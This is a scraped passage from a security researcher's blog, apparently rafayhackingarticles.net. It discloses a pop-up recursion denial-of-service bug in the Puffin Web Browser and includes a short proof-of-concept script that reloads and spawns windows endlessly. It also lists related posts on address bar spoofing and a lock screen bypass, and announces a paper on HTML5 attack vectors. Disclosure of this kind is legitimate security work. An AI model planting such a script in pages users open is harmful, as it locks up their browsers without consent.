href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" width="320" /></a></span></div><br />In "Chrome" for android, this effect is limited by offering a checkbox to prevent the current document from creating additional dialogs.<br /><br /><h4>POC</h4><span style="font-weight: normal;">The following is the simple proof of concept:</span><br /><div><div><b><html></b></div><div><b><title>Puffin Web Browser Pop Up Recursion DOS</title></b></div><div><b><body></b></div><div><b><script></b></div><div><b>window = <span style="color: #cc0000;">window.open(location.reload('http://rafayhackingarticles.net'));</span></b></div><div><b>window.alert(window)</b></div><div><b></script></b></div><div><b></body></b></div><div><b></html></b></div></div></td></tr></tbody></table><h4>Fix</h4>Puffin Web Browser team has acknowledged the issue and have promised to fix them in next versions.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><br /></div>

Puffin Web Browser Pop Up Recursion Vulnerability - DOS

During my recent security research on " Puffin Web Browser " I found several security bugs with " Puffin Web Browser " r...

+ Read more »

Puffin Web Browser Address Bar Spoofing Vulnerability

Puffin Web Browser Address Bar Spoofing Vulnerability

During my recent research on Mobile browsers i have managed to find couple of interesting vulnerabilities such as SOP bypass, Denial of serv...

+ Read more »

Nokia Asha Series Lock Screen Bypass

Nokia Asha Series Lock Screen Bypass

There have been a lot of lock screen bypasses lately in almost every mobile deice such as iPhone, Samsung galaxy, HTC etc and if you observe...

+ Read more »

HTML5 Modern Day Attack And Defence Vectors

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" width="448" /></a></div>Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless factors to which I have lost count myself. Had it been one, I might have remembered it. First of all i was very busy with my studies and also I had been working on my final year project because its right around the corner. All this work had been consuming a lot if my time and then came the task of promoting my upcoming book "<b><a href="http://amazon.com/Ethical-Hacking-Penetration-Testing-Guide/dp/1482231611" rel="nofollow" target="_blank">Ethical Hacking and Penetration Testing Guide</a></b>" which took about 10 months of time period to write. Along with it, i have been exploring new horizons with Web Application Firewalls and working on a tool to automatically bypass blacklist based WAF.<br /><a name="more"></a><br />From a research point of view, I spent last four months researching on attack vectors with HTML5 and documented them in an easy to understand manner as a part of my semester project. However, i made several modifications later on to match the standards so that I could publish it on my blog.<br /><br />IT has been more than six years since the advent of HTML5 (dated back 2008), and as the time has passed by we have seen more and more websites utilizing HTML5 features and have witnessed that technologies like flash and silverlight are dying slowly.<br /><br />However, each of the HTML5 features could bring security issues if not used correctly, one of the major security issues with HTML5 is DOM Based XSS due to the heavy use of javascript in HTML5 based applications which would obviously be the prime highlight of this paper.<br /><br /> Being a firm believer of free education, here I present to you "<b>HTML5 Modern Day Attack And Defence Vectors</b>" free of cost and free of ads. Last but not least, I would like to sincerely thank "<b>lavakumar kuppan</b>" for his tremendous help and without him the quality of the paper would have been compromised. I hope you find it helpful.<br /><br />You can download the paper by clicking the "<a href="https://www.mediafire.com/?8ok5iqs8zz5tx8a" target="_blank">DOWNLOAD</a>" button below:<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUT9yOZytMK3BOGrWPawfZkfer8OF-xDcyd7YjWtkMTfCBtLXq5tYCg8UwCP6xelRLOidRpA1vlz-8Ev-M2GNiREj4xTv_0NjCuD43rcxxTbQ8CaHX5p10GL7Lw2ZMLZEXqXJN-u-j0R8/s320/Download-button.jpg" /></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>What's next? </u></b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">I also spent some time in researching previously unknown vulnerabilities with Mobile browsers and applications. As soon as they are fixed, I would be disclosing couple of ZERO day vulnerabilities in various apps, browsers etc which i found during my encounter with <u>Qmobile Noir A20</u> which uses a customized version of Android OS. So Stay Tuned.  </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>Timeline</u></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>6/29/2014 </b>- Fixed spelling mistakes and references.  </div><div class="separator" style="clear: both; text-align: left;"><b>7/7/2014</b> - Fixed more spelling and code formatting mistakes</div></div>

HTML5 Modern Day Attack And Defence Vectors

Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless fac...

+ Read more »